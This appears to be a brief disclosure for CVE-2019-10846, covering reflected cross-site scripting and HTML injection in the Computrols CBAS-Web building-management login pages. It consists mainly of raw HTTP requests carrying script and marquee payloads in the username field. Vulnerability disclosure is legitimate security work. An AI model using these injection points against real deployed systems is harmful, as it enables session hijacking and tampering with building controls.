Computrols CBAS-Web Unauthenticated Reflected XSS

Affected versions: 19.0.0 and below
CVE: CVE-2019-10846
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system

Discovered by Gjoko 'LiquidWorm' Krstic

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POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1

username="><script>confirm(document.cookie)</script>&submit_button=Send+Me+a+New+Password+Via+Email

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POST /cbas/index.php?m=auth&a=login HTTP/1.1

username="><marquee>htmlinjection</marquee>&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62

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GET /cbas/index.php?m=auth&a=login&username="><marquee>my milkshake brings all the boys to the yard.</marquee>&password=damn_right HTTP/1.1